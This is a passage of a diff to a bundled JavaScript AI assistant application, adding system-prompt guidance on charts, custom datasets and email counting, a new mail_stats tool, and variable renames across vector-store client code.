  if (toolCall.name !== "read_file")
42704
43041
  continue;
42705
- const path33 = readFilePath(toolCall.arguments);
42706
- if (path33 === void 0)
43042
+ const path34 = readFilePath(toolCall.arguments);
43043
+ if (path34 === void 0)
42707
43044
  continue;
42708
43045
  keyByCallId.set(toolCall.id, toolCall.arguments);
42709
43046
  }
@@ -43137,8 +43474,18 @@ function buildSystemPrompt(workspaceRoot, options = {}) {
43137
43474
  if (options.canWriteSkills === true) {
43138
43475
  lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", options.skillsSearchable === true ? "- Before writing a new skill, search for one with search_docs: if a note already covers the subject, read it and update that instead of creating a near-duplicate." : "- Before writing a new skill, check the list above: if one already covers the subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", " it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", ' path, the function, and show a short example. Avoid "as discussed" and "the usual".', options.skillsSearchable === true ? "- The description line is what search matches on, so make it say what subject the skill covers in the words someone would search for \u2014 it is a trigger, not a summary." : "- The description line is the only part always in context, so make it say what subject the skill covers \u2014 it is a trigger for reading, not a summary.");
43139
43476
  }
43477
+ lines.push("", "Charts:", "- **Draw one whenever numbers are easier seen than read** \u2014 a count per folder or per day, a", " value trending over time, a breakdown of a total. Use show_chart; do not print a table of", " figures where a chart would answer the question faster.", "- **Always fill in `detail`** when the numbers count things that can be named \u2014 the subjects,", ' the files, the ids. A bar reading 14 is only useful if "which fourteen?" has an answer, and', " the detail is what lets the user open the bar instead of asking you to search again.", "- Say in `note` where the numbers came from and what they exclude. A chart is believed", " without being checked, so its limits have to travel with it.", "- Series must have exactly one value per category. A mismatch is refused rather than padded,", " because a chart drawn from misaligned data looks correct and is not.", "- After drawing, describe what it shows. Do not recite the numbers again \u2014 they are on screen.", "- **A Python tool can produce the data.** Have it return JSON shaped", ' `{"categories": [...], "series": [{"name": ..., "values": [...], "detail": [[...], ...]}]}`', " and pass that straight to show_chart. That is the intended way to chart anything you have", " analysed in Python \u2014 the tool does the arithmetic, show_chart draws it, and the numbers are", " never retyped by you in between.");
43478
+ if (options.datasets !== void 0 && options.datasets.length > 0) {
43479
+ lines.push("", "Custom datasets:", `- The user collects these themselves: ${options.datasets.map((dataset) => `${dataset.name} (${String(dataset.records)} records)`).join(", ")}.`, "- **Use search_data for anything about data the organisation collects itself** \u2014 tickets,", " wiki pages, rows from an internal system. It is the only way to reach these; they are not", " in the codebase and not in the mail index.", "- It searches what has been **synced**, not the live source. If the answer turns on", " something very recent, say when the dataset was last synced rather than implying it is", " current. Do not offer to refresh it yourself \u2014 syncing is triggered by the user.", ...options.canWriteCollectors === true ? [
43480
+ "- If they want a dataset you cannot find, you can write the collector: it is an",
43481
+ " ordinary Python tool returning records. Offer, do not assume \u2014 then they configure",
43482
+ " it in Settings, Custom data. The contract is below.",
43483
+ "",
43484
+ COLLECTOR_TOOL_GUIDANCE
43485
+ ] : []);
43486
+ }
43140
43487
  if (options.mailIndexed === true) {
43141
- lines.push("", "Email:", "- **Always answer questions about email from the index, using search_mail and", " mail_patterns.** That is what it is for. It is fast, it answers questions about time", " and recurrence that a live search cannot, and it does not disturb the running Outlook.", '- **Only search Outlook itself when the user asks you to.** "Check Outlook", "look at my', ' actual mailbox", "is it there now" and anything similar are the instruction to use', " outlook_search. Do not reach for it on your own initiative.", "- If the index has nothing, say so plainly and say when it was last synced. Do not", " quietly fall back to scanning Outlook - a slow live scan that nobody asked for reads", " as the assistant having hung.", "- One exception worth naming: if the user is asking about something that arrived in the", " last few minutes, the index may not have it yet. Say that, and offer to check Outlook", " rather than doing it unasked.", "- **The index holds plain text.** Colours, highlighting and images are not in it. When", " those could carry meaning \u2014 a red line marking a failure, a highlighted cell \u2014 use", " outlook_read_email on the id, which reads the live message and reports the colours.", " Never conclude a message looks fine from indexed text alone.", "- mail_coverage says which folders are indexed and how far back. Check it before saying", " something is not in the mail: an empty search over an unindexed folder looks exactly", " like an empty search over an indexed one.");
43488
+ lines.push("", "Email:", "- **Always answer questions about email from the index, using search_mail and", " mail_patterns.** That is what it is for. It is fast, it answers questions about time", " and recurrence that a live search cannot, and it does not disturb the running Outlook.", '- **Only search Outlook itself when the user asks you to.** "Check Outlook", "look at my', ' actual mailbox", "is it there now" and anything similar are the instruction to use', " outlook_search. Do not reach for it on your own initiative.", "- If the index has nothing, say so plainly and say when it was last synced. Do not", " quietly fall back to scanning Outlook - a slow live scan that nobody asked for reads", " as the assistant having hung.", "- One exception worth naming: if the user is asking about something that arrived in the", " last few minutes, the index may not have it yet. Say that, and offer to check Outlook", " rather than doing it unasked.", "- **The index holds plain text.** Colours, highlighting and images are not in it. When", " those could carry meaning \u2014 a red line marking a failure, a highlighted cell \u2014 use", " outlook_read_email on the id, which reads the live message and reports the colours.", " Never conclude a message looks fine from indexed text alone.", "- mail_coverage says which folders are indexed and how far back. Check it before saying", " something is not in the mail: an empty search over an unindexed folder looks exactly", " like an empty search over an indexed one.", "- **Use mail_stats for any question with a number in the answer** \u2014 how many alerts per", " folder, per day, per hour, which senders, whether a figure inside the alerts is climbing.", " It counts everything the filters matched. Never count search results by eye: search", " returns a page, so counting what you were shown reports a sample as if it were the total.", "- mail_stats already returns categories, values and detail in the shape show_chart wants.", " Pass it through rather than retyping the numbers, and keep the detail.");
43142
43489
  }
43143
43490
  if (options.expertAvailable === true) {
43144
43491
  lines.push("", "Expert consultation:", "- A stronger model, Claude, is available through the ask_expert tool. You CAN talk to", " it. Never tell the user you have no way to reach another model \u2014 you do.", '- **If the user asks you to consult it, do so.** "Ask Claude", "check with the', ' expert", "what does Claude think" and anything similar are direct instructions.', " It is their money and their decision; do not talk them out of it or decide the", " question is too simple to be worth asking.", "- Otherwise, judge it yourself. It costs real money per call, so on your own", " initiative use it for: planning a change spanning several files, diagnosing a bug", " you have already failed to fix once, choosing between designs with long-lived", " consequences, or reviewing something subtle before committing to it.", "- On your own initiative, do not use it for anything you could answer by reading a", " file, for routine edits, or for restating something already established here.", "- If you decide against consulting it, say that you chose not to and why. Do not say", " you are unable to.", "- The expert can read and search this workspace but cannot edit or run anything. It", " cannot see this conversation, so put the context it needs in your question.", "- You remain responsible for the work. Treat its answer as advice from a colleague:", " verify it against the actual code, and say so if you disagree.");
@@ -43185,7 +43532,7 @@ function fallbackLocations(name) {
43185
43532
  if (path9.isAbsolute(name))
43186
43533
  return [];
43187
43534
  const candidates = [];
43188
- const push = (dir) => {
43535
+ const push2 = (dir) => {
43189
43536
  if (dir === void 0 || dir.length === 0)
43190
43537
  return;
43191
43538
  if (process.platform === "win32")
@@ -43193,12 +43540,12 @@ function fallbackLocations(name) {
43193
43540
  candidates.push(path9.join(dir, name));
43194
43541
  };
43195
43542
  if (process.platform === "win32") {
43196
- push(process.env.APPDATA !== void 0 ? path9.join(process.env.APPDATA, "npm") : void 0);
43543
+ push2(process.env.APPDATA !== void 0 ? path9.join(process.env.APPDATA, "npm") : void 0);
43197
43544
  } else {
43198
- push("/usr/local/bin");
43199
- push("/opt/homebrew/bin");
43200
- push(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".npm-global", "bin") : void 0);
43201
- push(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".local", "bin") : void 0);
43545
+ push2("/usr/local/bin");
43546
+ push2("/opt/homebrew/bin");
43547
+ push2(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".npm-global", "bin") : void 0);
43548
+ push2(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".local", "bin") : void 0);
43202
43549
  }
43203
43550
  return candidates;
43204
43551
  }
@@ -43776,13 +44123,13 @@ var OpenSearchClient = class {
43776
44123
  * `_bulk`, `_delete_by_query`, index creation — is refused here rather than merely
43777
44124
  * unused, so no future edit or crafted argument can turn a read client into a writer.
43778
44125
  */
43779
- async request(path33, options = {}) {
44126
+ async request(path34, options = {}) {
43780
44127
  const method = options.method ?? "GET";
43781
- const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path33);
44128
+ const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path34);
43782
44129
  if (method !== "GET" && !isSearchPost) {
43783
- throw new OpenSearchError(`Refusing ${method} ${path33}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
44130
+ throw new OpenSearchError(`Refusing ${method} ${path34}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
43784
44131
  }
43785
- const url2 = `${this.base}${path33}`;
44132
+ const url2 = `${this.base}${path34}`;
43786
44133
  const request = {
43787
44134
  method,
43788
44135
  headers: this.headers()
@@ -43945,11 +44292,11 @@ function collectFields(properties, prefix, out) {
43945
44292
  return;
43946
44293
  for (const [name, raw] of Object.entries(properties)) {
43947
44294
  const field = raw;
43948
- const path33 = prefix.length > 0 ? `${prefix}.${name}` : name;
44295
+ const path34 = prefix.length > 0 ? `${prefix}.${name}` : name;
43949
44296
  if (typeof field.type === "string")
43950
- out[path33] = field.type;
44297
+ out[path34] = field.type;
43951
44298
  if (field.properties !== void 0)
43952
- collectFields(field.properties, path33, out);
44299
+ collectFields(field.properties, path34, out);
43953
44300
  }
43954
44301
  }
43955
44302
  function describeStatus(status, url2, body) {
@@ -43968,23 +44315,23 @@ function describeStatus(status, url2, body) {
43968
44315
  var TEXT_TYPES = /* @__PURE__ */ new Set(["text", "match_only_text", "search_as_you_type", "wildcard"]);
43969
44316
  var KEYWORD_TYPES = /* @__PURE__ */ new Set(["keyword", "constant_keyword"]);
43970
44317
  var NOISE_FIELDS = /* @__PURE__ */ new Set(["@version", "ecs", "tags", "stream", "input", "agent", "host", "event"]);
43971
- function leafName(path33) {
43972
- const parts = path33.split(".");
43973
- return parts[parts.length - 1] ?? path33;
44318
+ function leafName(path34) {
44319
+ const parts = path34.split(".");
44320
+ return parts[parts.length - 1] ?? path34;
43974
44321
  }
43975
44322
  function selectQueryFields(mapping, limit = 25) {
43976
44323
  const text = [];
43977
44324
  const keyword = [];
43978
- for (const [path33, type] of Object.entries(mapping)) {
43979
- if (NOISE_FIELDS.has(leafName(path33)) || NOISE_FIELDS.has(path33.split(".")[0] ?? ""))
44325
+ for (const [path34, type] of Object.entries(mapping)) {
44326
+ if (NOISE_FIELDS.has(leafName(path34)) || NOISE_FIELDS.has(path34.split(".")[0] ?? ""))
43980
44327
  continue;
43981
44328
  if (TEXT_TYPES.has(type)) {
43982
- text.push(path33);
44329
+ text.push(path34);
43983
44330
  } else if (KEYWORD_TYPES.has(type)) {
43984
- const parent = path33.replace(/\.keyword$/, "");
43985
- if (path33.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
44331
+ const parent = path34.replace(/\.keyword$/, "");
44332
+ if (path34.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
43986
44333
  continue;
43987
- keyword.push(path33);
44334
+ keyword.push(path34);
43988
44335
  }
43989
44336
  }
43990
44337
  const byDepth = (a, b) => a.split(".").length - b.split(".").length || a.localeCompare(b);
@@ -44126,8 +44473,8 @@ var OpenSearchIndexWriter = class {
44126
44473
  }
44127
44474
  return headers;
44128
44475
  }
44129
- async request(path33, method, body, signal) {
44130
- const url2 = `${this.connection.url.replace(/\/+$/, "")}${path33}`;
44476
+ async request(path34, method, body, signal) {
44477
+ const url2 = `${this.connection.url.replace(/\/+$/, "")}${path34}`;
44131
44478
  const request = { method, headers: this.headers() };
44132
44479
  if (body !== void 0) {
44133
44480
  if (typeof body === "string") {
@@ -44341,13 +44688,13 @@ var OpenSearchIndexWriter = class {
44341
44688
  for (const hit of hits) {
44342
44689
  const source = hit._source ?? {};
44343
44690
  const vector = source.vector;
44344
- const path33 = source.path;
44345
- if (typeof path33 !== "string" || !Array.isArray(vector))
44691
+ const path34 = source.path;
44692
+ if (typeof path34 !== "string" || !Array.isArray(vector))
44346
44693
  continue;
44347
44694
  documents.push({
44348
44695
  id: hit._id ?? "",
44349
44696
  text: typeof source.text === "string" ? source.text : "",
44350
- path: path33,
44697
+ path: path34,
44351
44698
  startLine: typeof source.startLine === "number" ? source.startLine : 1,
44352
44699
  endLine: typeof source.endLine === "number" ? source.endLine : 1,
44353
44700
  vector
@@ -44421,8 +44768,8 @@ var RestTransport = class {
44421
44768
  * threw would push every caller into catching and re-inspecting an error to find out
44422
44769
  * whether it was really an error. `expectOk` is there for the cases that are.
44423
44770
  */
44424
- async send(path33, method, body, signal) {
44425
- const url2 = `${this.connection.url.replace(/\/+$/, "")}${path33}`;
44771
+ async send(path34, method, body, signal) {
44772
+ const url2 = `${this.connection.url.replace(/\/+$/, "")}${path34}`;
44426
44773
  const request = { method, headers: this.headers() };
44427
44774
  if (body !== void 0)
44428
44775
  request.body = JSON.stringify(body);
@@ -44448,11 +44795,11 @@ var RestTransport = class {
44448
44795
  return { status: response.status, body: parsed };
44449
44796
  }
44450
44797
  /** Sends, and throws unless the status is 2xx. */
44451
- async expectOk(path33, method, body, signal) {
44452
- const result = await this.send(path33, method, body, signal);
44798
+ async expectOk(path34, method, body, signal) {
44799
+ const result = await this.send(path34, method, body, signal);
44453
44800
  if (result.status < 200 || result.status >= 300) {
44454
44801
  const detail = typeof result.body === "string" ? result.body : JSON.stringify(result.body ?? "");
44455
- throw new VectorStoreError(`${method} ${path33} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
44802
+ throw new VectorStoreError(`${method} ${path34} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
44456
44803
  }
44457
44804
  return result.body;
44458
44805
  }
@@ -44553,10 +44900,10 @@ var ChromaSearcher = class extends ChromaBase {
44553
44900
  const matches = [];
44554
44901
  for (let index = 0; index < ids.length; index++) {
44555
44902
  const metadata = metadatas[index] ?? {};
44556
- const path33 = typeof metadata.path === "string" ? metadata.path : void 0;
44557
- if (path33 === void 0)
44903
+ const path34 = typeof metadata.path === "string" ? metadata.path : void 0;
44904
+ if (path34 === void 0)
44558
44905
  continue;
44559
- if (filtering && !path33.startsWith(prefix))
44906
+ if (filtering && !path34.startsWith(prefix))
44560
44907
  continue;
44561
44908
  const distance = distances[index];
44562
44909
  const match = {
@@ -44568,7 +44915,7 @@ var ChromaSearcher = class extends ChromaBase {
44568
44915
  */
44569
44916
  score: typeof distance === "number" ? 1 / (1 + Math.max(0, distance)) : 0,
44570
44917
  text: documents[index] ?? (typeof metadata.text === "string" ? metadata.text : ""),
44571
- path: path33
44918
+ path: path34
44572
44919
  };
44573
44920
  if (typeof metadata.startLine === "number")
44574
44921
  match.startLine = metadata.startLine;
@@ -44679,13 +45026,13 @@ var ChromaIndexWriter = class extends ChromaBase {
44679
45026
  for (let index = 0; index < ids.length; index++) {
44680
45027
  const metadata = result.metadatas?.[index] ?? {};
44681
45028
  const vector = result.embeddings?.[index];
44682
- const path33 = typeof metadata.path === "string" ? metadata.path : void 0;
44683
- if (path33 === void 0 || !Array.isArray(vector))
45029
+ const path34 = typeof metadata.path === "string" ? metadata.path : void 0;
45030
+ if (path34 === void 0 || !Array.isArray(vector))
44684
45031
  continue;
44685
45032
  documents.push({
44686
45033
  id: ids[index] ?? "",
44687
45034
  text: result.documents?.[index] ?? "",
44688
- path: path33,
45035
+ path: path34,
44689
45036
  startLine: typeof metadata.startLine === "number" ? metadata.startLine : 1,
44690
45037
  endLine: typeof metadata.endLine === "number" ? metadata.endLine : 1,
44691
45038
  vector
@@ -44702,9 +45049,9 @@ var ChromaIndexWriter = class extends ChromaBase {
44702
45049
  const result = await this.rest.expectOk(`${this.base}/collections/${found.id}/get`, "POST", { include: ["metadatas"], limit }, options.signal);
44703
45050
  const paths = /* @__PURE__ */ new Set();
44704
45051
  for (const metadata of result.metadatas ?? []) {
44705
- const path33 = metadata?.path;
44706
- if (typeof path33 === "string")
44707
- paths.add(path33);
45052
+ const path34 = metadata?.path;
45053
+ if (typeof path34 === "string")
45054
+ paths.add(path34);
44708
45055
  }
44709
45056
  return [...paths];
44710
45057
  }
@@ -44731,14 +45078,14 @@ var MARKER_ID = "5f6d2a41-0000-5000-8000-6c69676874c0";
44731
45078
  var MARKER_MARK = "light-code";
44732
45079
  function toMatch(point) {
44733
45080
  const payload = point.payload ?? {};
44734
- const path33 = typeof payload.path === "string" ? payload.path : void 0;
44735
- if (path33 === void 0)
45081
+ const path34 = typeof payload.path === "string" ? payload.path : void 0;
45082
+ if (path34 === void 0)
44736
45083
  return void 0;
44737
45084
  const match = {
44738
45085
  id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
44739
45086
  score: typeof point.score === "number" ? point.score : 0,
44740
45087
  text: typeof payload.text === "string" ? payload.text : "",
44741
- path: path33
45088
+ path: path34
44742
45089
  };
44743
45090
  if (typeof payload.startLine === "number")
44744
45091
  match.startLine = payload.startLine;
@@ -44916,13 +45263,13 @@ var QdrantIndexWriter = class extends QdrantBase {
44916
45263
  const documents = [];
44917
45264
  for (const point of result.body.result?.points ?? []) {
44918
45265
  const payload = point.payload ?? {};
44919
- const path33 = typeof payload.path === "string" ? payload.path : void 0;
44920
- if (path33 === void 0 || !Array.isArray(point.vector))
45266
+ const path34 = typeof payload.path === "string" ? payload.path : void 0;
45267
+ if (path34 === void 0 || !Array.isArray(point.vector))
44921
45268
  continue;
44922
45269
  documents.push({
44923
45270
  id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
44924
45271
  text: typeof payload.text === "string" ? payload.text : "",
44925
- path: path33,
45272
+ path: path34,
44926
45273
  startLine: typeof payload.startLine === "number" ? payload.startLine : 1,
44927
45274
  endLine: typeof payload.endLine === "number" ? payload.endLine : 1,
44928
45275
  vector: point.vector
@@ -44949,9 +45296,9 @@ var QdrantIndexWriter = class extends QdrantBase {
44949
45296
  throw new VectorStoreError(`Could not list "${collection}" (HTTP ${String(result.status)}).`, result.status);
44950
45297
  }
44951
45298
  for (const point of result.body.result?.points ?? []) {
44952
- const path33 = point.payload?.path;
44953
- if (typeof path33 === "string")
44954
- paths.add(path33);
45299
+ const path34 = point.payload?.path;
45300
+ if (typeof path34 === "string")
45301
+ paths.add(path34);
44955
45302
  }
44956
45303
  offset = result.body.result?.next_page_offset;
44957
45304
  if (offset === void 0 || offset === null)
@@ -45365,8 +45712,8 @@ function teamSkillDocument(skill, body, vector, attribution) {
45365
45712
  vector
45366
45713
  };
45367
45714
  }
45368
- function nameFromPath(path33) {
45369
- return path33.startsWith("skill:") ? path33.slice("skill:".length) : path33;
45715
+ function nameFromPath(path34) {
45716
+ return path34.startsWith("skill:") ? path34.slice("skill:".length) : path34;
45370
45717
  }
45371
45718
  function toHit(match, self) {
45372
45719
  return {
@@ -46167,6 +46514,125 @@ function message(error51) {
46167
46514
  return error51 instanceof Error ? error51.message : String(error51);
46168
46515
  }
46169
46516
 
46517
+ // ../../packages/core/dist/office/mailStats.js
46518
+ var DETAIL_CAP = 50;
46519
+ function push(buckets, label, record2) {
46520
+ const existing = buckets.get(label);
46521
+ const line = `${new Date(record2.receivedAt).toLocaleString()} \u2014 ${record2.subject}`;
46522
+ if (existing === void 0) {
46523
+ buckets.set(label, { label, count: 1, detail: [line] });
46524
+ return;
46525
+ }
46526
+ existing.count += 1;
46527
+ if (existing.detail.length < DETAIL_CAP)
46528
+ existing.detail.push(line);
46529
+ }
46530
+ function dayKey(at) {
46531
+ const date5 = new Date(at);
46532
+ const month = String(date5.getMonth() + 1).padStart(2, "0");
46533
+ const day = String(date5.getDate()).padStart(2, "0");
46534
+ return `${String(date5.getFullYear())}-${month}-${day}`;
46535
+ }
46536
+ function hourKey(at) {
46537
+ return String(new Date(at).getHours()).padStart(2, "0");
46538
+ }
46539
+ function groupKey(record2, by) {
46540
+ switch (by) {
46541
+ case "folder":
46542
+ return record2.folder;
46543
+ case "day":
46544
+ return dayKey(record2.receivedAt);
46545
+ case "hour":
46546
+ return hourKey(record2.receivedAt);
46547
+ case "sender":
46548
+ return record2.sender;
46549
+ case "status":
46550
+ return record2.status ?? "none";
46551
+ }
46552
+ }
46553
+ function countBy(records, by, options = {}) {
46554
+ const buckets = /* @__PURE__ */ new Map();
46555
+ for (const record2 of records)
46556
+ push(buckets, groupKey(record2, by), record2);
46557
+ if (by === "day" && options.fillDays === true && records.length > 0) {
46558
+ const times = records.map((record2) => record2.receivedAt);
46559
+ const from = new Date(Math.min(...times));
46560
+ const to = new Date(Math.max(...times));
46561
+ from.setHours(0, 0, 0, 0);
46562
+ for (let day = from; day <= to; day = new Date(day.getTime() + 864e5)) {
46563
+ const key = dayKey(day.getTime());
46564
+ if (!buckets.has(key))
46565
+ buckets.set(key, { label: key, count: 0, detail: [] });
46566
+ }
46567
+ }
46568
+ if (by === "hour") {
46569
+ for (let hour = 0; hour < 24; hour++) {
46570
+ const key = String(hour).padStart(2, "0");
46571
+ if (!buckets.has(key))
46572
+ buckets.set(key, { label: key, count: 0, detail: [] });
46573
+ }
46574
+ }
46575
+ const rows = [...buckets.values()];
46576
+ return by === "day" || by === "hour" ? rows.sort((a, b) => a.label.localeCompare(b.label)) : rows.sort((a, b) => b.count - a.count || a.label.localeCompare(b.label));
46577
+ }
46578
+ function crossTab(records, by, splitBy) {
46579
+ const categories = countBy(records, by, { fillDays: true }).map((bucket) => bucket.label);
46580
+ const splits = [...new Set(records.map((record2) => groupKey(record2, splitBy)))].sort();
46581
+ const index = /* @__PURE__ */ new Map();
46582
+ for (const record2 of records) {
46583
+ const key = `${groupKey(record2, by)}\0${groupKey(record2, splitBy)}`;
46584
+ push(index, key, record2);
46585
+ }
46586
+ return {
46587
+ categories,
46588
+ series: splits.map((split) => ({
46589
+ name: split,
46590
+ values: categories.map((category) => index.get(`${category}\0${split}`)?.count ?? 0),
46591
+ detail: categories.map((category) => index.get(`${category}\0${split}`)?.detail ?? null)
46592
+ }))
46593
+ };
46594
+ }
46595
+ function extractNumber(record2, label) {
46596
+ const haystack = `${record2.subject}
46597
+ ${record2.preview}`;
46598
+ const escaped = label.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
46599
+ const pattern = new RegExp(`${escaped}[^0-9+-]{0,12}([+-]?[0-9][0-9,]*(?:\\.[0-9]+)?)`, "i");
46600
+ const match = pattern.exec(haystack);
46601
+ if (match?.[1] === void 0)
46602
+ return void 0;
46603
+ const value = Number(match[1].replace(/,/g, ""));
46604
+ return Number.isFinite(value) ? value : void 0;
46605
+ }
46606
+ function numberOverTime(records, label, how = "last") {
46607
+ const byDay = /* @__PURE__ */ new Map();
46608
+ let matched = 0;
46609
+ for (const record2 of [...records].sort((a, b) => a.receivedAt - b.receivedAt)) {
46610
+ const value = extractNumber(record2, label);
46611
+ if (value === void 0)
46612
+ continue;
46613
+ matched += 1;
46614
+ const key = dayKey(record2.receivedAt);
46615
+ const entry = byDay.get(key) ?? { values: [], detail: [] };
46616
+ entry.values.push(value);
46617
+ if (entry.detail.length < DETAIL_CAP) {
46618
+ entry.detail.push(`${new Date(record2.receivedAt).toLocaleTimeString()} \u2014 ${String(value)} \u2014 ${record2.subject}`);
46619
+ }
46620
+ byDay.set(key, entry);
46621
+ }
46622
+ const points = [...byDay.entries()].sort((a, b) => a[0].localeCompare(b[0])).map(([day, entry]) => ({
46623
+ label: day,
46624
+ value: how === "sum" ? entry.values.reduce((sum, value) => sum + value, 0) : how === "max" ? Math.max(...entry.values) : how === "average" ? entry.values.reduce((sum, value) => sum + value, 0) / entry.values.length : entry.values[entry.values.length - 1],
46625
+ detail: entry.detail
46626
+ }));
46627
+ return { points, matched, skipped: records.length - matched };
46628
+ }
46629
+ function dailyChange(points) {
46630
+ return points.map((point, index) => ({
46631
+ label: point.label,
46632
+ change: index === 0 ? void 0 : point.value - points[index - 1].value
46633
+ }));
46634
+ }
46635
+
46170
46636
  // ../../packages/core/dist/office/mailIndex.js
46171
46637
  function parseStatusTag(subject) {
46172
46638
  if (/\[\s*alert\s*\]/i.test(subject))
@@ -46633,14 +47099,123 @@ function createMailCoverageTool(options) {
46633
47099
  }
46634
47100
  };
46635
47101
  }
46636
- function normaliseFolder(path33) {
46637
- return path33.toLowerCase().replace(/[\\/]+/g, "\\");
47102
+ function normaliseFolder(path34) {
47103
+ return path34.toLowerCase().replace(/[\\/]+/g, "\\");
46638
47104
  }
46639
47105
  function haystackOf(record2) {
46640
47106
  return `${record2.subject}
46641
47107
  ${record2.sender}
46642
47108
  ${record2.preview}`.toLowerCase();
46643
47109
  }
47110
+ var statsSchema = external_exports.object({
47111
+ by: external_exports.enum(["folder", "day", "hour", "sender", "status"]).describe("What each bar or point represents. `day` and `hour` are in local time."),
47112
+ splitBy: external_exports.enum(["folder", "day", "hour", "sender", "status"]).optional().describe("Optional second dimension, giving one series per value \u2014 for a stacked or grouped bar."),
47113
+ withinHours: external_exports.number().min(0.1).max(24 * 365).optional().describe("Only mail received in this many hours."),
47114
+ status: external_exports.enum(["alert", "ok"]).optional().describe("Narrow to [ALERT] or [OK] messages first."),
47115
+ folder: external_exports.string().optional().describe("Narrow to a folder path first."),
47116
+ within: external_exports.array(external_exports.string().min(1)).max(500).optional().describe("Count only these message ids, from an earlier search_mail result."),
47117
+ numberLabel: external_exports.string().optional().describe('Instead of counting, read a labelled number out of each message and track it over time. Give the text that precedes it, e.g. "queue depth" or "rows". A message with no such label is left out rather than counted as zero.'),
47118
+ combine: external_exports.enum(["last", "max", "sum", "average"]).optional().describe("With numberLabel: what several messages in one day mean. Default last."),
47119
+ change: external_exports.boolean().optional().describe("With numberLabel: report the day-on-day movement rather than the value itself.")
47120
+ });
47121
+ function createMailStatsTool(options) {
47122
+ return {
47123
+ name: "mail_stats",
47124
+ group: "read",
47125
+ description: 'Counts indexed mail into buckets, ready to draw with show_chart. `by` picks the buckets (folder, day, hour, sender, status) and `splitBy` adds a second dimension for a stacked or grouped bar - "alerts per folder per day" is by=day, splitBy=folder. Every bucket comes back with the messages it counted, so pass those straight to show_chart as `detail` and the user can open a bar to see what is in it. With `numberLabel` it instead reads a labelled figure out of each message and tracks it over days - for an alert that carries a count or a percentage - and `change: true` reports the day-on-day movement instead of the value. These are exact counts over the index, not a sample and not a semantic guess.',
47126
+ parametersSchema: statsSchema,
47127
+ execute: async (params) => {
47128
+ try {
47129
+ const all = await options.loadRecords();
47130
+ if (all.length === 0) {
47131
+ return {
47132
+ content: "Nothing is indexed, so there is nothing to count. Say so rather than reporting zero of anything - zero is a finding and this is not one."
47133
+ };
47134
+ }
47135
+ let records = params.withinHours === void 0 ? [...all] : since(all, params.withinHours);
47136
+ if (params.status !== void 0)
47137
+ records = records.filter((r) => r.status === params.status);
47138
+ if (params.folder !== void 0) {
47139
+ const wanted = normaliseFolder(params.folder);
47140
+ records = records.filter((r) => normaliseFolder(r.folder).startsWith(wanted));
47141
+ }
47142
+ if (params.within !== void 0 && params.within.length > 0) {
47143
+ const keep = new Set(params.within);
47144
+ records = records.filter((r) => keep.has(r.id));
47145
+ }
47146
+ if (records.length === 0) {
47147
+ return { content: "No indexed messages match those filters, so there is nothing to count." };
47148
+ }
47149
+ if (params.numberLabel !== void 0) {
47150
+ const { points, matched, skipped } = numberOverTime(records, params.numberLabel, params.combine ?? "last");
47151
+ if (points.length === 0) {
47152
+ return {
47153
+ content: `No message contains a number labelled "${params.numberLabel}". Check the wording against an actual subject - the label is matched literally, on purpose, so that a number belonging to something else is never charted as this one.`
47154
+ };
47155
+ }
47156
+ const rows = params.change === true ? dailyChange(points).map((entry) => ({
47157
+ label: entry.label,
47158
+ value: entry.change,
47159
+ detail: null
47160
+ })) : points.map((point) => ({ label: point.label, value: point.value, detail: point.detail }));
47161
+ const usable = rows.filter((row) => row.value !== void 0);
47162
+ return {
47163
+ content: [
47164
+ `${String(matched)} message(s) carried a number labelled "${params.numberLabel}"${skipped > 0 ? `, ${String(skipped)} did not and were left out` : ""}.`,
47165
+ params.change === true ? "Day-on-day movement. The first day has no predecessor and is omitted rather than shown as no change." : `One point per day, taking the ${params.combine ?? "last"} value where a day had several.`,
47166
+ "",
47167
+ JSON.stringify({
47168
+ categories: usable.map((row) => row.label),
47169
+ series: [
47170
+ {
47171
+ name: params.change === true ? `${params.numberLabel} change` : params.numberLabel,
47172
+ values: usable.map((row) => row.value),
47173
+ ...params.change === true ? {} : { detail: usable.map((row) => row.detail) }
47174
+ }
47175
+ ]
47176
+ }),
47177
+ "",
47178
+ "Pass this to show_chart as a line chart. Keep `detail` on the series so the user can open a point."
47179
+ ].join("\n")
47180
+ };
47181
+ }
47182
+ if (params.splitBy !== void 0) {
47183
+ const table = crossTab(records, params.by, params.splitBy);
47184
+ return {
47185
+ content: [
47186
+ `${String(records.length)} message(s), by ${params.by} and ${params.splitBy}.`,
47187
+ "",
47188
+ JSON.stringify(table),
47189
+ "",
47190
+ "Pass this to show_chart as stackedBar or groupedBar. `detail` is already aligned."
47191
+ ].join("\n")
47192
+ };
47193
+ }
47194
+ const buckets = countBy(records, params.by, { fillDays: true });
47195
+ return {
47196
+ content: [
47197
+ `${String(records.length)} message(s) in ${String(buckets.length)} bucket(s), by ${params.by}.` + (params.by === "day" ? " Days with none are included as zero \u2014 a missing day and a day with nothing are different claims, and only one of them is true." : ""),
47198
+ "",
47199
+ JSON.stringify({
47200
+ categories: buckets.map((bucket) => bucket.label),
47201
+ series: [
47202
+ {
47203
+ name: params.status === void 0 ? "Messages" : params.status.toUpperCase(),
47204
+ values: buckets.map((bucket) => bucket.count),
47205
+ detail: buckets.map((bucket) => bucket.detail.length === 0 ? null : bucket.detail)
47206
+ }
47207
+ ]
47208
